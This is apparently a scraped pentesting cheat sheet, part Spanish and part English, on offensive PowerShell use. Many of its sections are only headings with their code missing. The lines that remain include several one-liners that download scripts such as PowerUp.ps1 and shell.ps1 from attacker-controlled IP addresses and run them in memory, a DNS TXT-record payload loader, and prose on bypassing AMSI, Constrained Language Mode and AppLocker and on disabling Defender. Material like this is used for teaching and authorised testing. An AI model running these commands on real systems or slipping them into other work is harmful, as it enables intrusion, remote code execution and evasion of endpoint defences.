Powershell

PowerShell es una solución de automatización de tareas multiplataforma formada por un shell de línea de comandos, un lenguaje de scripting y un marco de administración de configuración.

Ubicaciones por defecto de PowerShell

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Basic PS commands to startUbicaci

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Descarga y carga de scritps en memoria

echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1'); Invoke-Module some

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Download & Execute in background with AMSI Bypass

Primero en crear script y pasarlo a Base 64

Using b64 from linux

Descarga EXEs

System.Net.WebClient

Invoke-WebRequest

Wget

BitsTransfer

Execution Policy

By default it is set to restricted. Main ways to bypass this policy:

Constrained language

PowerShell Constrained Language Modearrow-up-right locks down many of the features needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more.

Check

Bypass

In current Windows that Bypass won't work but you can use PSByPassCLMarrow-up-right. To compile it you may need to Add a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll and change the project to .Net4.5.

Direct bypass:

Reverse shell:

You can use ReflectivePickarrow-up-right or SharpPickarrow-up-right to execute Powershell code in any process and bypass the constrained mode. For more info check: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-modearrow-up-right.

AppLocker Policy

An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.

AppLockerarrow-up-right is Microsoft's application whitelisting solution and gives system administrators control over which applications and files users can run. It provides granular control over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers. It is common for organizations to block cmd.exe and PowerShell.exe and write access to certain directories, but this can all be bypassed.

Check

Check which files/extensions are blacklisted/whitelisted:

This registry path contains the configurations and policies applied by AppLocker, providing a way to review the current set of rules enforced on the system:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

Bypass

  • Useful Writable folders to bypass AppLocker Policy: If AppLocker is allowing to execute anything inside C:\Windows\System32 or C:\Windows there are writable folders you can use to bypass this.

Enable WinRM (Remote PS)

Desactivar Defender

AMSI bypass

amsi.dll is loaded into your process, and has the necessary exports for any application interact with. And because it's loaded into the memory space of a process you control, you can change its behaviour by overwriting instructions in memory. Making it not detect anything.

Therefore, the goal of the AMSI bypasses you will use is to overwrite the instructions of that DLL in memory to make the detection useless.

AMSI bypass generator web page: https://amsi.fail/arrow-up-right

AMSI Bypass 2 - Managed API Call Hooking

Check this post for detailed info and the codearrow-up-right. Introduction:

This new technique relies upon API call hooking of .NET methods. As it turns out, .NET Methods need to get compiled down to native machine instructions in memory which end up looking very similar to native methods. These compiled methods can hooked to change the control flow of a program.

The steps performing API cal hooking of .NET methods are:

  1. Identify the target method to hook

  2. Define a method with the same function prototype as the target

  3. Use reflection to find the methods

  4. Ensure each method has been compiled

  5. Find the location of each method in memory

  6. Overwrite the target method with instructions pointing to our malicious method

AMSI Bypass 3 - SeDebug Privilege

Following this guide & codearrow-up-right you can see how with enough privileges to debug processes, you can spawn a powershell.exe process, debug it, monitor when it loads amsi.dll and disable it.

AMSI Bypass - More Resources

PS-History

Find a newer files

Options : CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc

Get permissions

OS version and HotFixes

Environment

Other connected drives

Recycle Bin

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/arrow-up-right

Domain Recon

PowerView/SharpView

Users

Secure String to Plaintext

Or directly parsing form XML:

SUDO

Groups

Clipboard

Processes

Services

Password from secure string

Scheduled Tasks

Port Scan

Interfaces

Firewall

Route

ARP

Hosts

Ping

SNMP

Converting the SDDL String into a Readable Format

Última actualización